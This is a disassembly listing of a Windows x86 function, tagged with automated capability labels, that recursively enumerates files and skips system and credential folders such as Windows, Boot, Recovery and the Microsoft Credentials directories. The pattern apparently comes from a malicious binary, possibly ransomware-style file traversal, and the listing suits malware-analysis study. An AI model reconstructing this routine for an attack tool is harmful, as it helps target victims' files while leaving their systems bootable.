Function at 0x418490
Capabilities:
Enumerate files on windows
Enumerate files recursively
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d74f9
mov eax, dword fs:[0]
push eax
sub esp, 0x740
mov eax, dword [0x51f164]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
xor edi, edi
xor eax, eax
mov dword [ebp - 0x508], edi
mov dword [ebp - 0x504], eax
mov dword [ebp - 0x500], eax
mov dword [ebp - 4], eax
push 0x8003
mov byte [ebp - 4], 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
cmp dword [ebp + 0x34], 8
lea ecx, [ebp + 0x20]
mov eax, dword [ebp + 0x30]
cmovae ecx, dword [ebp + 0x20]
lea eax, [ecx + eax*2]
lea ecx, [ebp + 0x20]
cmovae ecx, dword [ebp + 0x20]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x5c]
call fcn.0043a4d0
push 0x4ffb4c
lea ecx, [ebp - 0x5c]
mov byte [ebp - 4], 3
call fcn.00431940
push 2
push 0x4ffb50
lea ecx, [ebp + 8]
call fcn.004380d0
cmp dword [ebp + 0x1c], 8
lea ecx, [ebp - 0x444]
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x658], eax
cmp eax, 0xffffffff
jne 0x41862b
mov edx, dword [ebp - 0x48]
cmp edx, 0x10
jb 0x418588
mov ecx, dword [ebp - 0x5c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41857e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aeeb
push edx
push ecx
call fcn.00490c3c
add esp, 8
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0xf
mov byte [ebp - 0x5c], 0
cmp edx, 8
jb 0x4185d4
mov ecx, dword [ebp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4185ca
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aeeb
push edx
push ecx
call fcn.00490c3c
add esp, 8
mov edx, dword [ebp + 0x34]
xor eax, eax
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 7
mov word [ebp + 8], ax
cmp edx, 8
jb 0x41a1ae
mov ecx, dword [ebp + 0x20]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41861c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aeeb
push edx
push ecx
call fcn.00490c3c
add esp, 8
jmp 0x41a1ae
mov ecx, dword [ebp + 0x18]
lea eax, [ebp + 8]
dec ecx
mov dword [ebp - 0x60], 0xf
cmp dword [ebp + 0x1c], 8
mov dword [ebp + 0x18], ecx
cmovae eax, dword [ebp + 8]
xor edx, edx
mov dword [ebp - 0x64], edx
mov byte [ebp - 0x74], dl
mov word [eax + ecx*2], dx
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x78], 0xf
mov byte [ebp - 0x8c], dl
xor eax, eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
mov byte [ebp - 4], 6
lea eax, [ebp - 0x418]
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x5ac]
call fcn.00439b40
mov esi, eax
add esp, 4
lea eax, [ebp - 0x2c]
cmp eax, esi
je 0x418701
mov edx, dword [ebp - 0x18]
cmp edx, 8
jb 0x4186cf
mov ecx, dword [ebp - 0x2c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4186c5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef0
push edx
push ecx
call fcn.00490c3c
add esp, 8
mov dword [ebp - 0x1c], 0
xor eax, eax
mov dword [ebp - 0x18], 7
mov word [ebp - 0x2c], ax
movups xmm0, xmmword [esi]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [ebp - 0x1c], xmm0
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], 7
mov word [esi], ax
mov edx, dword [ebp - 0x598]
cmp edx, 8
jb 0x418741
mov ecx, dword [ebp - 0x5ac]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x418737
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef0
push edx
push ecx
call fcn.00490c3c
add esp, 8
push str.Documents_and_Settings_
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x688]
call fcn.00439b40
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 7
or edi, 1
cmp dword [0x51fc5c], 8
mov eax, 0x51fc48
push dword [0x51fc58]
cmovae eax, dword [0x51fc48]
mov esi, edi
push eax
mov dword [ebp - 0x508], edi
call fcn.004380d0
or dword [ebp - 0x504], 0x80
xor ecx, ecx
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x44], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x34], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
push 0x36
mov dword [ebp - 4], 8
lea ecx, [ebp - 0x44]
or edi, 2
push str.Local_SettingsApplication_DataMicrosoftCredentials
mov dword [ebp - 0x508], edi
call fcn.004380d0
or dword [ebp - 0x504], 0x100
xor ecx, ecx
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movups xmmword [ebp - 0x734], xmm1
mov dword [eax + 0x10], 0
movq qword [ebp - 0x724], xmm0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov dword [ebp - 4], 9
lea ecx, [ebp - 0x734]
mov eax, esi
movd edx, xmm1
mov esi, dword [ebp - 0x1c]
or eax, 6
cmp dword [ebp - 0x720], 8
mov dword [ebp - 0x518], edx
cmovae ecx, edx
mov dword [ebp - 0x500], eax
cmp dword [ebp - 0x18], 8
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x508], eax
cmovae edx, dword [ebp - 0x2c]
mov dword [ebp - 0x510], eax
cmp esi, dword [ebp - 0x724]
jne 0x4188b7
test esi, esi
je 0x41889f
sub edx, ecx
nop word [eax + eax]
mov ax, word [edx + ecx]
cmp ax, word [ecx]
jne 0x4188b7
add ecx, 2
sub esi, 1
jne 0x418870
mov edx, dword [ebp - 0x5c4]
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0x510], edx
mov byte [ebp - 0x509], 1
jmp 0x4192ae
mov edx, dword [ebp - 0x5c4]
mov dword [ebp - 0x510], edx
mov byte [ebp - 0x509], 1
jmp 0x4192ae
push str.Documents_and_Settings_
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x5ac]
call fcn.00439b40
add esp, 4
mov ecx, eax
mov dword [ebp - 4], 0xa
mov eax, 0x51fc48
mov edi, dword [ebp - 0x500]
push dword [0x51fc58]
or edi, 8
cmp dword [0x51fc5c], 8
mov dword [ebp - 0x508], edi
cmovae eax, dword [0x51fc48]
push eax
call fcn.004380d0
mov dword [ebp - 0x550], 0
xor ecx, ecx
mov dword [ebp - 0x54c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x560], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x550], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov esi, dword [ebp - 0x510]
lea ecx, [ebp - 0x560]
mov eax, esi
mov dword [ebp - 4], 0xb
push 0x27
or eax, 0x18
push str.Application_DataMicrosoftCredentials
mov dword [ebp - 0x508], eax
call fcn.004380d0
or dword [ebp - 0x504], 0x600
xor ecx, ecx
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movups xmmword [ebp - 0x5c4], xmm1
mov dword [eax + 0x10], 0
movq qword [ebp - 0x5b4], xmm0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov dword [ebp - 4], 0xc
lea ecx, [ebp - 0x5c4]
mov eax, esi
movd edx, xmm1
mov esi, dword [ebp - 0x1c]
or eax, 0x38
cmp dword [ebp - 0x5b0], 8
mov dword [ebp - 0x510], edx
cmovae ecx, edx
mov dword [ebp - 0x500], eax
cmp dword [ebp - 0x18], 8
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x508], eax
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [ebp - 0x5b4]
jne 0x418a15
test esi, esi
je 0x419298
sub edx, ecx
mov ax, word [edx + ecx]
cmp ax, word [ecx]
jne 0x418a15
add ecx, 2
sub esi, 1
jne 0x4189f2
mov eax, dword [ebp - 0x500]
mov byte [ebp - 0x509], 1
jmp 0x4192ae
push str.UsersAll_UsersMicrosoftWindowsCaches
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x670]
call fcn.00439b40
add esp, 4
mov edi, eax
mov dword [ebp - 4], 0xd
mov ecx, edi
mov eax, dword [ebp - 0x500]
or eax, 0x40
cmp dword [edi + 0x14], 8
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x508], eax
jb 0x418a53
mov ecx, dword [edi]
cmp dword [ebp - 0x18], 8
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
jne 0x418a93
test esi, esi
je 0x419298
sub edx, ecx
mov ax, word [edx + ecx]
cmp ax, word [ecx]
jne 0x418a93
add ecx, 2
sub esi, 1
jne 0x418a70
mov eax, dword [ebp - 0x500]
mov byte [ebp - 0x509], 1
jmp 0x4192ae
push str.ProgramData
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x74c]
call fcn.00439b40
add esp, 4
mov edi, eax
mov dword [ebp - 4], 0xe
mov ecx, edi
mov eax, dword [ebp - 0x500]
or eax, 0x80
cmp dword [edi + 0x14], 8
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x508], eax
jb 0x418ad3
mov ecx, dword [edi]
cmp dword [ebp - 0x18], 8
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
jne 0x418b13
test esi, esi
je 0x419298
sub edx, ecx
mov ax, word [edx + ecx]
cmp ax, word [ecx]
jne 0x418b13
add ecx, 2
sub esi, 1
jne 0x418af0
mov eax, dword [ebp - 0x500]
mov byte [ebp - 0x509], 1
jmp 0x4192ae
push str.Recovery
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x71c]
call fcn.00439b40
add esp, 4
mov edi, eax
mov dword [ebp - 4], 0xf
mov ecx, edi
mov eax, dword [ebp - 0x500]
or eax, 0x100
cmp dword [edi + 0x14], 8
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x508], eax
jb 0x418b53
mov ecx, dword [edi]
cmp dword [ebp - 0x18], 8
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
jne 0x418b93
test esi, esi
je 0x419298
sub edx, ecx
mov ax, word [edx + ecx]
cmp ax, word [ecx]
jne 0x418b93
add ecx, 2
sub esi, 1
jne 0x418b70
mov eax, dword [ebp - 0x500]
mov byte [ebp - 0x509], 1
jmp 0x4192ae
push str.ProgramDataMicrosoft
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x704]
call fcn.00439b40
add esp, 4
mov edi, eax
mov dword [ebp - 4], 0x10
mov ecx, edi
mov eax, dword [ebp - 0x500]
or eax, 0x200
cmp dword [edi + 0x14], 8
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x508], eax
jb 0x418bd3
mov ecx, dword [edi]
cmp dword [ebp - 0x18], 8
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
jne 0x418c13
test esi, esi
je 0x419298
sub edx, ecx
mov ax, word [edx + ecx]
cmp ax, word [ecx]
jne 0x418c13
add ecx, 2
sub esi, 1
jne 0x418bf0
mov eax, dword [ebp - 0x500]
mov byte [ebp - 0x509], 1
jmp 0x4192ae
push str.Windows
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x6ec]
call fcn.00439b40
add esp, 4
mov edi, eax
mov dword [ebp - 4], 0x11
mov ecx, edi
mov eax, dword [ebp - 0x500]
or eax, 0x400
cmp dword [edi + 0x14], 8
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x508], eax
mov dword [ebp - 0x514], eax
jb 0x418c59
mov ecx, dword [edi]
cmp dword [ebp - 0x18], 8
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
jne 0x418c99
test esi, esi
je 0x419298
sub edx, ecx
mov ax, word [edx + ecx]
cmp ax, word [ecx]
jne 0x418c99
add ecx, 2
sub esi, 1
jne 0x418c76
mov eax, dword [ebp - 0x500]
mov byte [ebp - 0x509], 1
jmp 0x4192ae
push str.Documents_and_Settings_
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x6d4]
call fcn.00439b40
add esp, 4
mov ecx, eax
mov dword [ebp - 4], 0x12
mov eax, 0x51fc48
mov edi, dword [ebp - 0x500]
push dword [0x51fc58]
or edi, 0x800
cmp dword [0x51fc5c], 8
mov dword [ebp - 0x508], edi
cmovae eax, dword [0x51fc48]
push eax
call fcn.004380d0
mov dword [ebp - 0x538], 0
xor ecx, ecx
mov dword [ebp - 0x534], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x548], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x538], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov esi, dword [ebp - 0x514]
lea ecx, [ebp - 0x548]
mov eax, esi
mov dword [ebp - 4], 0x13
push 0x28
or eax, 0x1800
push str.Local_SettingsTemporary_Internet_Files
mov dword [ebp - 0x508], eax
call fcn.004380d0
or dword [ebp - 0x504], 0x1800
xor ecx, ecx
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movups xmmword [ebp - 0x57c], xmm1
mov dword [eax + 0x10], 0
movq qword [ebp - 0x56c], xmm0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov dword [ebp - 4], 0x14
lea ecx, [ebp - 0x57c]
mov eax, esi
movd edx, xmm1
mov esi, dword [ebp - 0x1c]
or eax, 0x3800
cmp dword [ebp - 0x568], 8
mov dword [ebp - 0x57c], edx
cmovae ecx, edx
mov dword [ebp - 0x500], eax
cmp dword [ebp - 0x18], 8
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x508], eax
cmovae edx, dword [ebp - 0x2c]
mov dword [ebp - 0x514], eax
cmp esi, dword [ebp - 0x56c]
jne 0x418e04
test esi, esi
je 0x419298
sub edx, ecx
mov ax, word [edx + ecx]
cmp ax, word [ecx]
jne 0x418e04
add ecx, 2
sub esi, 1
jne 0x418de1
mov eax, dword [ebp - 0x500]
mov byte [ebp - 0x509], 1
jmp 0x4192ae
push str.Documents_and_Settings_
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x6bc]
call fcn.00439b40
add esp, 4
mov ecx, eax
mov dword [ebp - 4], 0x15
mov eax, 0x51fc48
mov edi, dword [ebp - 0x500]
push dword [0x51fc58]
or edi, 0x4000
cmp dword [0x51fc5c], 8
mov dword [ebp - 0x508], edi
cmovae eax, dword [0x51fc48]
push eax
call fcn.004380d0
mov dword [ebp - 0x520], 0
xor ecx, ecx
mov dword [ebp - 0x51c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x530], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x520], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov esi, dword [ebp - 0x514]
lea ecx, [ebp - 0x530]
mov eax, esi
mov dword [ebp - 4], 0x16
push 0xb
or eax, 0xc000
push str.Start_Menu
mov dword [ebp - 0x508], eax
call fcn.004380d0
or dword [ebp - 0x504], 0x6000
xor ecx, ecx
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movups xmmword [ebp - 0x594], xmm1
mov dword [eax + 0x10], 0
movq qword [ebp - 0x584], xmm0
mov dword [eax + 0x14], 7
mov word [eax], cx
mov dword [ebp - 4], 0x17
lea ecx, [ebp - 0x594]
mov eax, esi
movd edx, xmm1
mov esi, dword [ebp - 0x1c]
or eax, 0x1c000
cmp dword [ebp - 0x580], 8
mov dword [ebp - 0x594], edx
cmovae ecx, edx
mov dword [ebp - 0x500], eax
cmp dword [ebp - 0x18], 8
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x508], eax
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [ebp - 0x584]
jne 0x418f69
test esi, esi
je 0x419298
sub edx, ecx
mov ax, word [ecx + edx]
cmp ax, word [ecx]
jne 0x418f69
add ecx, 2
sub esi, 1
jne 0x418f46
mov eax, dword [ebp - 0x500]
mov byte [ebp - 0x509], 1
jmp 0x4192ae
push str.Documents_and_SettingsAll_UsersStart_Menu
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x6a4]
call fcn.00439b40
add esp, 4
mov edi, eax
mov dword [ebp - 4], 0x18
mov ecx, edi
mov eax, dword [ebp - 0x500]
or eax, 0x20000
cmp dword [edi + 0x14], 8
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x508], eax
jb 0x418fa9
mov ecx, dword [edi]
cmp dword [ebp - 0x18], 8
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
jne 0x418fe9
test esi, esi
je 0x419298
sub edx, ecx
mov ax, word [ecx + edx]
cmp ax, word [ecx]
jne 0x418fe9
add ecx, 2
sub esi, 1
jne 0x418fc6
mov eax, dword [ebp - 0x500]
mov byte [ebp - 0x509], 1
jmp 0x4192ae
push str.WINDOWS
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x654]
call fcn.00439b40
add esp, 4
mov edi, eax
mov dword [ebp - 4], 0x19
mov ecx, edi
mov eax, dword [ebp - 0x500]
or eax, 0x40000
cmp dword [edi + 0x14], 8
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x508], eax
jb 0x419029
mov ecx, dword [edi]
cmp dword [ebp - 0x18], 8
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
jne 0x419069
test esi, esi
je 0x419298
sub edx, ecx
mov ax, word [ecx + edx]
cmp ax, word [ecx]
jne 0x419069
add ecx, 2
sub esi, 1
jne 0x419046
mov eax, dword [ebp - 0x500]
mov byte [ebp - 0x509], 1
jmp 0x4192ae
push str.Boot
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x624]
call fcn.00439b40
add esp, 4
mov edi, eax
mov dword [ebp - 4], 0x1a
mov ecx, edi
mov eax, dword [ebp - 0x500]
or eax, 0x80000
cmp dword [edi + 0x14], 8
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x508], eax
jb 0x4190a9
mov ecx, dword [edi]
cmp dword [ebp - 0x18], 8
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
jne 0x4190e9
test esi, esi
je 0x419298
sub edx, ecx
mov ax, word [ecx + edx]
cmp ax, word [ecx]
jne 0x4190e9
add ecx, 2
sub esi, 1
jne 0x4190c6
mov eax, dword [ebp - 0x500]
mov byte [ebp - 0x509], 1
jmp 0x4192ae
push str.System_Volume_Information
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x63c]
call fcn.00439b40
add esp, 4
mov edi, eax
mov dword [ebp - 4], 0x1b
mov ecx, edi
mov eax, dword [ebp - 0x500]
or eax, 0x100000
cmp dword [edi + 0x14], 8
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x508], eax
mov dword [ebp - 0x514], eax
jb 0x41912f
mov ecx, dword [edi]
cmp dword [ebp - 0x18], 8
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
jne 0x419173
test esi, esi
je 0x419298
sub edx, ecx
nop dword [eax]
mov ax, word [ecx + edx]
cmp ax, word [ecx]
jne 0x419173
add ecx, 2
sub esi, 1
jne 0x419150
mov eax, dword [ebp - 0x500]
mov byte [ebp - 0x509], 1
jmp 0x4192ae
push str._skips.txt
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x60c]
call fcn.00439b40
mov esi, eax
add esp, 4
mov dword [ebp - 0x564], esi
sub esp, 0x18
mov dword [ebp - 4], 0x1c
mov edi, dword [ebp - 0x500]
lea eax, [ebp - 0x2c]
mov ecx, esp
or edi, 0x200000
mov dword [ebp - 0x508], edi
push eax
call fcn.004312d0
lea ecx, [ebp - 0x5f4]
call fcn.00418240
add esp, 0x18
mov edx, eax
mov eax, dword [ebp - 0x514]
mov ecx, esi
mov dword [ebp - 4], 0x1d
or eax, 0x600000
cmp dword [esi + 0x14], 8
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x508], eax
jb 0x4191f0
mov ecx, dword [esi]
cmp dword [edx + 0x14], 8
mov esi, edx
jb 0x4191fa
mov esi, dword [edx]
mov edi, dword [ebp - 0x564]
mov edx, dword [edx + 0x10]
cmp edx, dword [edi + 0x10]
jne 0x419235
test edx, edx
je 0x419298
sub esi, ecx
mov ax, word [ecx + esi]
cmp ax, word [ecx]
jne 0x419235
add ecx, 2
sub edx, 1
jne 0x419212
mov eax, dword [ebp - 0x500]
mov byte [ebp - 0x509], 1
jmp 0x4192ae
push str.UsersDefault_ntuser.dat
lea edx, [ebp + 0x20]
lea ecx, [ebp - 0x5dc]
call fcn.00439b40
mov edi, eax
add esp, 4
mov eax, dword [ebp - 0x500]
mov ecx, edi
or eax, 0x800000
mov dword [ebp - 0x500], eax
cmp dword [edi + 0x14], 8
jb 0x419268
mov ecx, dword [edi]
cmp dword [ebp - 0x18], 8
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x1c]
cmovae edx, dword [ebp - 0x2c]
cmp esi, dword [edi + 0x10]
jne 0x4192a7
test esi, esi
je 0x419298
sub edx, ecx
mov ax, word [ecx + edx]
cmp ax, word [ecx]
jne 0x4192a1
add ecx, 2
sub esi, 1
jne 0x419281
mov eax, dword [ebp - 0x500]
mov byte [ebp - 0x509], 1
jmp 0x4192ae
mov eax, dword [ebp - 0x500]
mov byte [ebp - 0x509], 0
test eax, 0x800000
je 0x419327
mov edx, dword [ebp - 0x5c8]
and eax, 0xff7fffff
mov dword [ebp - 0x500], eax
cmp edx, 8
jb 0x41930a
mov ecx, dword [ebp - 0x5dc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4192fa
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x500]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x5cc], 0
mov dword [ebp - 0x5c8], 7
mov word [ebp - 0x5dc], cx
mov dword [ebp - 4], 0x1c
test eax, 0x400000
je 0x4193a7
mov edx, dword [ebp - 0x5e0]
and eax, 0xffbfffff
mov dword [ebp - 0x500], eax
cmp edx, 8
jb 0x41938a
mov ecx, dword [ebp - 0x5f4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41937a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x500]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x5e4], 0
mov dword [ebp - 0x5e0], 7
mov word [ebp - 0x5f4], cx
mov dword [ebp - 4], 0x1b
test eax, 0x200000
je 0x419427
mov edx, dword [ebp - 0x5f8]
and eax, 0xffdfffff
mov dword [ebp - 0x500], eax
cmp edx, 8
jb 0x41940a
mov ecx, dword [ebp - 0x60c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4193fa
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x500]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x5fc], 0
mov dword [ebp - 0x5f8], 7
mov word [ebp - 0x60c], cx
mov dword [ebp - 4], 0x1a
test eax, 0x100000
je 0x4194a7
mov edx, dword [ebp - 0x628]
and eax, 0xffefffff
mov dword [ebp - 0x500], eax
cmp edx, 8
jb 0x41948a
mov ecx, dword [ebp - 0x63c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41947a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x500]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x62c], 0
mov dword [ebp - 0x628], 7
mov word [ebp - 0x63c], cx
mov dword [ebp - 4], 0x19
test eax, 0x80000
je 0x419527
mov edx, dword [ebp - 0x610]
and eax, 0xfff7ffff
mov dword [ebp - 0x500], eax
cmp edx, 8
jb 0x41950a
mov ecx, dword [ebp - 0x624]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4194fa
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x500]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x614], 0
mov dword [ebp - 0x610], 7
mov word [ebp - 0x624], cx
mov dword [ebp - 4], 0x18
test eax, 0x40000
je 0x4195a7
mov edx, dword [ebp - 0x640]
and eax, 0xfffbffff
mov dword [ebp - 0x500], eax
cmp edx, 8
jb 0x41958a
mov ecx, dword [ebp - 0x654]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41957a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x500]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x644], 0
mov dword [ebp - 0x640], 7
mov word [ebp - 0x654], cx
mov dword [ebp - 4], 0x17
test eax, 0x20000
je 0x419627
mov edx, dword [ebp - 0x690]
and eax, 0xfffdffff
mov dword [ebp - 0x500], eax
cmp edx, 8
jb 0x41960a
mov ecx, dword [ebp - 0x6a4]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4195fa
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x500]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x694], 0
mov dword [ebp - 0x690], 7
mov word [ebp - 0x6a4], cx
mov dword [ebp - 4], 0x16
test eax, 0x10000
je 0x419686
mov ecx, dword [ebp - 0x580]
and eax, 0xfffeffff
mov dword [ebp - 0x500], eax
cmp ecx, 8
jb 0x419686
mov edx, dword [ebp - 0x594]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x419676
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef5
push ecx
push edx
call fcn.00490c3c
mov eax, dword [ebp - 0x500]
add esp, 8
mov dword [ebp - 4], 0x15
test eax, 0x8000
je 0x419706
mov edx, dword [ebp - 0x51c]
and eax, 0xffff7fff
mov dword [ebp - 0x500], eax
cmp edx, 8
jb 0x4196e9
mov ecx, dword [ebp - 0x530]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4196d9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x500]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x520], 0
mov dword [ebp - 0x51c], 7
mov word [ebp - 0x530], cx
mov dword [ebp - 4], 0x14
test eax, 0x4000
je 0x419786
mov edx, dword [ebp - 0x6a8]
and eax, 0xffffbfff
mov dword [ebp - 0x500], eax
cmp edx, 8
jb 0x419769
mov ecx, dword [ebp - 0x6bc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x419759
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41aef5
push edx
push ecx
call fcn.00490c3c
mov eax, dword [ebp - 0x500]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x6ac], 0
